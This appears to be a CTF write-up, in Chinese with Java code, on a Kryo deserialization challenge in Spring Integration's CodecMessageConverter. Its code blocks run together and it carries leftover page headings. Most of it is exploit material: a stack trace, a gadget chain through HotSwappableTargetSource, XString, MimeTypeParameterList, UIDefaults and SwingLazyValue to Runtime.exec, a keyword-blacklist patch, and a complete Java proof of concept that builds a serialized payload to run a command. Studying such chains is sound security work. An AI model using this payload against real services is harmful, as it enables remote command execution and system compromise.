CISCN 2023 西南赛区半决赛 (Hessian原生JDK+Kryo反序列化)
Analysis



Patch and POC

Last updated




Last updated
public class GenericMessage<T> implements Message<T>, Serializable {
// Create a new message with the given payload.
public GenericMessage(T payload) {
this(payload, new MessageHeaders(null));
}
@Override
public T getPayload() {
return this.payload;
}
}User user = new User();
user.setName("seaclouds");
user.setAge("10");
GenericMessage message = new GenericMessage(user); // 实例化GenericMessage传入payload
MessageCodec messageCodec = new MessageCodec();
byte[] bytes = messageCodec.encode(message);
CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
Message<?> messagecode = codecMessageConverter.toMessage(bytes, (MessageHeaders) null);
System.out.println(messagecode.getPayload());
// 输出User{name='seaclouds', age='10'}readClassAndObject:801, Kryo (com.esotericsoftware.kryo)
read:153, MapSerializer (com.esotericsoftware.kryo.serializers)
read:39, MapSerializer (com.esotericsoftware.kryo.serializers)
readObject:709, Kryo (com.esotericsoftware.kryo)
read:49, MessageHeadersSerializer (org.springframework.integration.codec.kryo)
read:34, MessageHeadersSerializer (org.springframework.integration.codec.kryo)
readObject:731, Kryo (com.esotericsoftware.kryo)
read:125, ObjectField (com.esotericsoftware.kryo.serializers)
read:543, FieldSerializer (com.esotericsoftware.kryo.serializers)
readObject:709, Kryo (com.esotericsoftware.kryo)
doDecode:97, PojoCodec (org.springframework.integration.codec.kryo)
lambda$decode$2:86, AbstractKryoCodec (org.springframework.integration.codec.kryo)
execute:-1, 1625066712 (org.springframework.integration.codec.kryo.AbstractKryoCodec$$Lambda$500)
run:58, KryoPoolQueueImpl (com.esotericsoftware.kryo.pool)
decode:86, AbstractKryoCodec (org.springframework.integration.codec.kryo)
decode:72, AbstractKryoCodec (org.springframework.integration.codec.kryo)
toMessage:62, CodecMessageConverter (org.springframework.integration.codec)com.esotericsoftware.kryo#readClassAndObject ->
com.esotericsoftware.kryo.serializers#read ->
java.util.HashMap#put ->
org.springframework.aop.target.HotSwappableTargetSource#equals ->
com.sun.org.apache.xpath.internal.objects.XString ->
com.alibaba.fastjson.JSON#toString -> fastjson gadget
-> TemplatesImpl to load evil classjavax.activation.MimeTypeParameterList#toString
UIDefaults#get
UIDefaults#getFromHashTable
UIDefaults$LazyValue#createValue
SwingLazyValue#createValue
sun.reflect.misc.MethodUtil#invokeString test = new String(decodemsg);
if(test.contains("com.esotericsoftware.kryo") || test.contains("org.springframework") || test.contains("javax.activation.MimeTypeParameter")){
return "illegal deserialization";
}import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.support.GenericMessage;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
public class Test {
public static void main(String[] args) throws Exception {
UIDefaults uiDefaults = new UIDefaults();
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});
uiDefaults.put("p4d0rn", slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
XString x = new XString("test");
HashMap<Object, Object> hashMap = new HashMap<>();
Object v1 = new HotSwappableTargetSource(mimeTypeParameterList);
Object v2 = new HotSwappableTargetSource(x);
setFieldValue(hashMap, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(hashMap, "table", tbl);
GenericMessage message = new GenericMessage(hashMap);
MessageCodec messageCodec = new MessageCodec();
byte[] bytes = messageCodec.encode(message);
//System.out.println(new String(Base64.getEncoder().encode(bytes)));
CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
Message<?> messagecode = codecMessageConverter.toMessage(bytes, (MessageHeaders) null);
messagecode.getPayload();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}